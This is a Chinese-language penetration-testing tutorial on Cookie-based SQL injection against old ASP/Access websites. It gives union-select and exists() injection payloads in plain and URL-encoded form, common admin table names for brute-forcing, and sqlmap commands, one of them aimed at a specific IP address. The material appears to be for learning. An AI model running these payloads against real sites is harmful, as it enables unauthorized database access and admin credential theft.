Access-Cookie注入

一、Cookie注入简介

Cookie是代表身份的一串字符,网站根据Cookie来识别身份,如果获取了管理员的Cookie,就可以无需密码直接登陆管理员账号。

Cookie注入原理:
在动态脚本语言中存在超全局变量可以获取多种传参方式(大多数),开发者考虑到多种接受参数,在解释参数的时候也是用多种解释传参的方法。

例如,PHP中的$_REQUEST变量可以获取POST、GET、COOKIE传参

常见的数据库有Access、Mysql、mssql(SqlServer)、Oracle

Cookie注入在老一点的ASP网站常见,PHP看版本,因为在高于5.2以上的PHP版本中,$_REQUEST变量将不再接受cookie传参

早期网站防护只检测GET和POST传参,没有检测COOKIE,所以可以绕过验证

Cookie注入是依靠特殊的传参方式产生的注入

二、设置Cookie

1、在浏览器中设置
谷歌浏览器:F5:Application:Cookie

浏览器设置可能会遇到问题
Access-Cookie注入_第1张图片

2、抓包直接修改

有一点需要注意的是,本地IP127.0.0.1无法被Burp抓包,必须使用分配的IP

Access-Cookie注入_第2张图片

3、使用浏览器插件修改

谷歌浏览器有修改Cookie的插件EditThisCookie,有可能被拦截

Access-Cookie注入_第3张图片

4、浏览器自带Javascript进行设置

谷歌浏览器:F12:Console

Cookie注入最好进行一次编码,与版本有关系

在线URL编码解码

document.cookie #查看当前Cookie

#Cookie名字为 id 
#escape是一个编码函数,会进行一次URL编码
document.cookie="id="+escape("171")

document.cookie="id=169"

Access-Cookie注入_第4张图片

#“+”号是拼接符
#escape是一个编码函数,会进行一次URL编码
#双引号代表字符串内容
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

三、Cookie注入

一般而言,有两种绕过拦截的方法:
(1)走不被检测的入口
(2)规避规则

先使用插件添加一个新的Cookie
Access-Cookie注入_第5张图片
如果Cookie传参可以影响到页面,意味着存在Cookie传参,并且可以拼接进数据库

在线URL编码解码

Burp中也有URL编码模块Decoder
Access-Cookie注入_第6张图片
COOKIE注入时要删除URL内的id传参,URL里的id传参进去会有一个输出,cookie里也传参了一个id数值,他会优先接受GET的传参,具体看语言,PHP会优先接受Cookie传参.

#Cooike注入,需要URL编码

#注入语句
171 order by 10
#URL编码后,填入Cookie值
171+order+by+10

#检测输出点
#Access是一种较为老旧地数据库,没有库名,只有表和字段
#select 1,2,3是mysql特有的查询语句
#大部分数据库需要正常查询,即select XX from 表名
#猜测表名为admin
#admin表中常有id、username字段
171 union select 1,2,3,4,5,6,7,8,9,10 from admin
#网页编码后
171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
#使用Burp编码后,本质是相同的
%31%37%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%20%66%72%6f%6d%20%61%64%6d%69%6e

Access数据库,没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名,只能通过爆破获取表名和字段名

在盛行Access数据库的年代,账号密码一般都在admin表的username和password字段中

#爆破表名
#exists()函数是检查子查询能否查询到数据,如果能会就返回True
#即如果页面正常,就是存在该表
#字段名可以通过偏移注入获取
and exists(select * from 表名) 
#在sqlmap中会有常见的表名
#常见的表名:admin、news、job、work、admin_user、user 
#sqlmap\sqlmap-master\data\txt\common-tables.txt
#sqlmap跑表名有时候也是强行爆破

判断网页的数据库(可能):
ASP:Access(接近淘汰)
PHP:Mysql、Oracle、Mssql
ASPX:mssql
JSP:Oracle、Mysql

#是mysql特有的注释
mssql有特有的系统自带库名
oracle有特定的语法

有的站点会伪装后缀,使得他人不能够判断数据库,可以抓包看一下,即查看返回包(Repeater模块)的X-Powered-By标识,当然,有的网站也会处理返回包
Access-Cookie注入_第7张图片

sqlmap跑Cookie注入:

python sqlmap.py -r 1.txt

Access-Cookie注入_第8张图片

python sqlmap.py -u "http://59.6.20.9:8004/shownews.asp" --cookie "id=171" --level 2

sqlmap能跑出来的标识:
Access-Cookie注入_第9张图片
可能存在Cookie注入的网站:
(1)ASP的站点存在可能性极高
(2)PHP版本低于5.3的站点存在可能性极高

当然,Cookie注入并不是优先手段,SQL注入是存在尝试顺序的:
(1)显错注入
(2)报错注入
(3)布尔盲注
(4)时间盲注
(5)宽字节注入
(6)Cookie注入

设置Cookie能够影响到页面的数据,不代表存在SQL注入

你可能感兴趣的:(渗透测试,信息安全,渗透测试)